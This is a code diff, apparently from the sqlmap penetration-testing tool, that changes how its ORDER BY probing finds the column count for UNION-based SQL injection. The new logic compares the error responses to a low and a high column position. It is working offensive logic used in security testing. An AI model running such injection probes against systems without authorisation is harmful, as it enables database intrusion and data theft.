@@ -61,14 +61,37 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
6161
6262 @stackedmethod
6363 def _orderByTechnique (lowerCount = None , upperCount = None ):
64- def _orderByTest (cols ):
64+ def _orderByProbe (cols ):
6565 query = agent .prefixQuery ("ORDER BY %d" % cols , prefix = prefix )
6666 query = agent .suffixQuery (query , suffix = suffix , comment = comment )
6767 payload = agent .payload (newValue = query , place = place , parameter = parameter , where = where )
6868 page , headers , code = Request .queryPage (payload , place = place , content = True , raise404 = False )
69- return not any (re .search (_ , page or "" , re .I ) and not re .search (_ , kb .pageTemplate or "" , re .I ) for _ in ("(warning|error):" , "order (by|clause)" , "unknown column" , "failed" )) and not kb .heavilyDynamic and comparison (page , headers , code ) or re .search (r"data types cannot be compared or sorted" , page or "" , re .I ) is not None
69+ errored = any (re .search (_ , page or "" , re .I ) and not re .search (_ , kb .pageTemplate or "" , re .I ) for _ in ("(warning|error):" , "order (by|clause)" , "unknown column" , "failed" ))
70+ return page , headers , code , errored
71+
72+ lowCount = 1 if lowerCount is None else lowerCount
73+ highCount = randomInt () if upperCount is None else upperCount + 1
74+
75+ lowPage , lowHeaders , lowCode , lowErrored = _orderByProbe (lowCount )
76+ highPage , highHeaders , highCode , highErrored = _orderByProbe (highCount )
77+
78+ # When an out-of-range ORDER BY position visibly errors on this target, the column count can be
79+ # bisected on error presence alone - immune to result-set shifts caused by the injection context
80+ # (e.g. a LIKE '%...%' search whose matches change once the string literal is closed), which would
81+ # otherwise make the response-similarity oracle reject a still-valid position.
82+ errorOracle = highErrored and not lowErrored
83+
84+ def _orderByValid (page , headers , code , errored ):
85+ if re .search (r"data types cannot be compared or sorted" , page or "" , re .I ):
86+ return True
87+ if errored :
88+ return False
89+ return errorOracle or (not kb .heavilyDynamic and comparison (page , headers , code ))
90+
91+ def _orderByTest (cols ):
92+ return _orderByValid (* _orderByProbe (cols ))
7093
71- if _orderByTest ( 1 if lowerCount is None else lowerCount ) and not _orderByTest ( randomInt () if upperCount is None else upperCount + 1 ):
94+ if _orderByValid ( lowPage , lowHeaders , lowCode , lowErrored ) and not _orderByValid ( highPage , highHeaders , highCode , highErrored ):
7295 infoMsg = "'ORDER BY' technique appears to be usable. "
7396 infoMsg += "This should reduce the time needed "
7497 infoMsg += "to find the right number "
0 commit comments